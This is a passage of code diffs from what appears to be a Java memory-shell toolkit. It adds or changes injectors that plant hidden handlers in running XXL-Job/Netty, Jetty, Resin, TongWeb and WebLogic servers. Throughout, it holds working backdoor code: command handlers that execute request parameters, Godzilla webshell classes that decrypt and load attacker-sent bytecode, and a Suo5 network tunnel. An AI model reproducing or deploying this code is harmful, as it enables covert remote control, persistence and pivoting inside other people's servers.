if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,13 +1,8 @@
package com.reajason.javaweb.memshell.injector.xxljob;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.HttpObjectAggregator;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
@@ -15,11 +10,8 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.UUID;
import java.util.zip.GZIPInputStream;
/**
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
return;
}
try {
inject();
msg += "[/*] ready\n";
if (inject()) {
msg += "[/*] ready\n";
} else {
msg += "failed, server channel not found\n";
}
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
private static Class<?> handlerClass;
private static ChannelHandler originalChildHandler;
private final String handlerName = UUID.randomUUID().toString();
@Override
protected void initChannel(SocketChannel channel) throws Exception {
if (channel.pipeline().get(handlerName) != null) {
return;
}
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
.addLast(channelHandler)
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<>(2000),
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
(r, executor) -> {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
})));
channel.pipeline().addLast(originalChildHandler);
String httpCodecName = null;
for (String name : channel.pipeline().names()) {
if (name.contains("HttpObjectAggregator")) {
httpCodecName = name;
break;
}
}
if (httpCodecName != null) {
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
} else {
channel.pipeline().addFirst(handlerName, channelHandler);
}
}
private Class<?> getShellClass(Object context) throws Exception {
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}
}
public void inject() throws Exception {
public boolean inject() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
if (evField == null) {
evField = getField(innerRunnable.getClass(), "this$0");
}
if (evField == null) {
continue;
}
target = evField.get(innerRunnable);
if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
handlerClass = getShellClass(embedHttpServerHandler);
setFieldValue(embedHttpServerHandler, "childHandler", this);
return;
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
for (Object key : set.toArray()) {
try {
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
Object tail = getFieldValue(pipeline, "tail");
Object prevContext = getFieldValue(tail, "prev");
Object acceptor = getFieldValue(prevContext, "handler");
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
continue;
}
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
if (childHandlerField == null) {
continue;
}
childHandlerField.setAccessible(true);
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
handlerClass = getShellClass(acceptor);
childHandlerField.set(acceptor, this);
return true;
} catch (Exception ignored) {
}
}
}
} catch (Exception ignored) {
}
}
}
return false;
}
@SuppressWarnings("all")
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5 extends AbstractServer {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
} catch (Exception ignored) {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
} catch (Exception ignored2) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
}
}
}
}
@Override
public Class<?> getListenerInterceptor() {
return ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, Jetty5ListenerInjector.class)
.addInjector(FILTER, Jetty5FilterInjector.class)
.addInjector(SERVLET, Jetty5ServletInjector.class)
.build();
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
import static com.reajason.javaweb.memshell.ShellType.FILTER;
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2 extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, Resin2FilterInjector.class)
.addInjector(SERVLET, Resin2ServletInjector.class)
.build();
}
}
@@ -19,8 +19,11 @@ public class TongWeb extends AbstractServer {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build();
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.injector.weblogic.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletContextAgentInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicServletInjector;
import com.reajason.javaweb.memshell.injector.weblogic.WebLogicWebSocketInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
@@ -22,8 +23,13 @@ public class WebLogic extends AbstractServer {
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, WebLogicListenerInjector.class)
.addInjector(JAKARTA_LISTENER, WebLogicListenerInjector.class)
.addInjector(FILTER, WebLogicFilterInjector.class)
.addInjector(JAKARTA_FILTER, WebLogicFilterInjector.class)
.addInjector(SERVLET, WebLogicServletInjector.class)
.addInjector(JAKARTA_SERVLET, WebLogicServletInjector.class)
.addInjector(WEBSOCKET, WebLogicWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, WebLogicWebSocketInjector.class)
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
.build();
}
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Optional;
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName);
}
String result = "";
try {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result), String.class);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ServerResponse.ok().body(resultMono, String.class);
}
private String getParam(String param) {
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.util.Scanner;
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName);
}
String result = "";
try {
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
final String paramValue = p;
Mono<String> resultMono = Mono.fromCallable(() -> {
String result = "";
try {
if (paramValue != null) {
String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
}
} catch (Throwable e) {
e.printStackTrace();
}
return ResponseEntity.ok(result);
return result;
}).subscribeOn(Schedulers.boundedElastic());
return ResponseEntity.ok(resultMono);
}
private String getParam(String param) {
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream;
import java.nio.charset.StandardCharsets;
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
if (p == null) {
return chain.filter(exchange);
}
String param = getParam(p);
String result = "";
try {
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
} catch (Throwable e) {
e.printStackTrace();
}
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
final String paramValue = p;
return Mono.fromCallable(() -> {
String param = getParam(paramValue);
String result = "";
try {
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
} catch (Throwable e) {
e.printStackTrace();
}
return result;
}).subscribeOn(Schedulers.boundedElastic())
.flatMap(result -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
}
private String getParam(String param) {
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import java.util.Base64;
/**
* @author ReaJason
*/
public class GodzillaDubboService extends ClassLoader {
private static String key;
private static String md5;
private static Class<?> payload;
public GodzillaDubboService() {
}
public GodzillaDubboService(ClassLoader z) {
super(z);
}
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
try {
byte[] data = decrypt(bytes, key);
if (payload == null) {
payload = new GodzillaDubboService(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
return "ok".getBytes("UTF-8");
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.toString();
byte[] byteArray = arrOut.toByteArray();
return (md5.substring(0, 16) + encrypt(byteArray, key) + md5.substring(16)).getBytes("UTF-8");
}
} catch (Throwable e) {
try {
return getErrorMessage(e).getBytes("UTF-8");
} catch (UnsupportedEncodingException ignored) {
}
}
return new byte[0];
}
public static String encrypt(byte[] data, String key) {
byte[] keyBytes = key.getBytes();
byte[] xored = new byte[data.length];
for (int i = 0; i < data.length; i++) {
xored[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return Base64.getEncoder().encodeToString(xored);
}
public static byte[] decrypt(byte[] ciphertext, String key) {
byte[] data = Base64.getDecoder().decode(ciphertext);
byte[] keyBytes = key.getBytes();
byte[] result = new byte[data.length];
for (int i = 0; i < data.length; i++) {
result[i] = (byte) (data[i] ^ keyBytes[i % keyBytes.length]);
}
return result;
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.util.MultiValueMap;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
if (value == null || !value.contains(headerValue)) {
return Mono.empty();
}
Object bufferStream = request.formData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
Mono<String> bufferStream = request.formData()
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
.subscribeOn(Schedulers.boundedElastic()));
return ServerResponse.ok().body(bufferStream, String.class);
}
private String process(MultiValueMap<String, String> map, ServerRequest request) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build();
}
Object bufferStream = exchange.getFormData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
Mono<String> bufferStream = exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()));
return ResponseEntity.ok(bufferStream);
}
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getPost(exchange));
return exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()))
.flatMap(bytes -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
}
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
return formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(exchange.getRequest());
f.equals(data);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(exchange.getRequest());
f.equals(data);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
}
return result.toString().getBytes(StandardCharsets.UTF_8);
}
@SuppressWarnings("all")
@@ -8,6 +8,7 @@ import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Hashtable;
@@ -30,19 +31,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789";
private final int CHARACTERS_LENGTH = CHARACTERS.length();
private final int BUF_SIZE = 1024 * 16;
private final long TUNNEL_IDLE_TIMEOUT_MILLIS = 300L * 1000L;
private InputStream gInStream;
private OutputStream gOutStream;
private String gtunId;
private int mode = 0;
private Object gWriteLock;
public Suo5v2() {
}
public Suo5v2(InputStream in, OutputStream out, String tunId) {
this(in, out, tunId, null);
}
public Suo5v2(InputStream in, OutputStream out, String tunId, Object writeLock) {
this.gInStream = in;
this.gOutStream = out;
this.gtunId = tunId;
this.gWriteLock = writeLock;
}
public Suo5v2(String tunId, int mode) {
@@ -250,7 +258,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
conn = redirect(req, new String(redirectData), newBody);
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
pipeStream(conn.getInputStream(), out, resp, false);
pipeStream(conn.getInputStream(), out, resp, false, null);
} finally {
if (conn != null) {
conn.disconnect();
@@ -336,7 +344,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
socket.connect(new InetSocketAddress(host, port), 5000);
writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0);
} catch (Exception e) {
e.printStackTrace();
if (socket != null) {
socket.close();
}
@@ -350,8 +357,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
final Object responseWriteLock = new Object();
try {
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId, responseWriteLock);
t = new Thread(p);
t.start();
@@ -374,7 +382,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
break;
case 0x10:
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0);
writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0, responseWriteLock);
break;
default:
}
@@ -388,7 +396,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0, responseWriteLock);
}
if (t != null) {
t.join();
@@ -482,10 +490,24 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
private void writeAndFlush(Object resp, byte[] data, int dirtySize) throws Exception {
writeAndFlush(resp, data, dirtySize, null);
}
private void writeAndFlush(Object resp, byte[] data, int dirtySize, Object writeLock) throws Exception {
if (data == null || data.length == 0) {
return;
}
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
if (writeLock == null) {
writeResponseData(resp, out, data, dirtySize);
} else {
synchronized (writeLock) {
writeResponseData(resp, out, data, dirtySize);
}
}
}
private void writeResponseData(Object resp, OutputStream out, byte[] data, int dirtySize) throws Exception {
out.write(data);
if (dirtySize != 0) {
out.write(marshalBase64(newDirtyChunk(dirtySize)));
@@ -504,6 +526,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
SocketChannel socketChannel = null;
HashMap resultData = null;
Object[] existing = (Object[]) getKey(tunId);
if (existing != null) {
touchTunnel(existing);
baos.write(marshalBase64(newStatus(tunId, (byte) 0x00)));
return baos.toByteArray();
}
try {
socketChannel = SocketChannel.open();
socketChannel.socket().setTcpNoDelay(true);
@@ -514,8 +542,19 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
resultData = newStatus(tunId, (byte) 0x00);
BlockingQueue<byte[]> readQueue = new LinkedBlockingQueue<byte[]>(100);
BlockingQueue<byte[]> writeQueue = new LinkedBlockingQueue<byte[]>();
putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue});
if (newThread) {
Object[] newTunnel = new Object[]{socketChannel, readQueue, writeQueue, new long[]{new Date().getTime()}};
boolean installed = false;
synchronized (ctx) {
existing = (Object[]) ctx.get(tunId);
if (existing == null) {
ctx.put(tunId, newTunnel);
installed = true;
}
}
if (!installed) {
socketChannel.close();
touchTunnel(existing);
} else if (newThread) {
new Thread(new Suo5v2(tunId, 1)).start();
new Thread(new Suo5v2(tunId, 2)).start();
}
@@ -538,8 +577,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (objs == null) {
throw new IOException("tunnel not found");
}
touchTunnel(objs);
SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isOpen()) {
// socket already closed, return silently and let performRead handle it
return;
}
@@ -562,6 +603,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (objs == null) {
throw new IOException("tunnel not found");
}
touchTunnel(objs);
SocketChannel sc = (SocketChannel) objs[0];
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
@@ -589,7 +631,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
private void performDelete(String tunId) {
Object[] objs = (Object[]) getKey(tunId);
if (objs != null) {
removeKey(tunId);
removeKeyIfSame(tunId, objs);
SocketChannel sc = (SocketChannel) objs[0];
BlockingQueue<byte[]> writeQueue = (BlockingQueue<byte[]>) objs[2];
try {
@@ -611,7 +653,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
return port;
}
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal, Object writeLock) throws Exception {
try {
byte[] readBuf = new byte[1024 * 8];
while (true) {
@@ -623,10 +665,12 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
if (needMarshal) {
dataTmp = marshalBase64(newData(this.gtunId, dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
if (writeLock == null) {
writePipeData(outputStream, resp, dataTmp);
} else {
synchronized (writeLock) {
writePipeData(outputStream, resp, dataTmp);
}
}
}
} finally {
@@ -640,6 +684,14 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
}
}
private void writePipeData(OutputStream outputStream, Object resp, byte[] data) throws Exception {
outputStream.write(data);
outputStream.flush();
if (resp != null) {
resp.getClass().getMethod("flushBuffer").invoke(resp);
}
}
private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException {
buffer.clear();
int bytesRead = socketChannel.read(buffer);
@@ -830,6 +882,47 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
ctx.remove(k);
}
private boolean removeKeyIfSame(String k, Object expected) {
synchronized (ctx) {
if (ctx.get(k) == expected) {
ctx.remove(k);
return true;
}
}
return false;
}
private void touchTunnel(Object[] objs) {
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
return;
}
long[] activity = (long[]) objs[3];
synchronized (activity) {
activity[0] = new Date().getTime();
}
}
private long getTunnelIdleMillis(Object[] objs) {
if (objs == null || objs.length < 4 || !(objs[3] instanceof long[])) {
return Long.MAX_VALUE;
}
long[] activity = (long[]) objs[3];
synchronized (activity) {
return new Date().getTime() - activity[0];
}
}
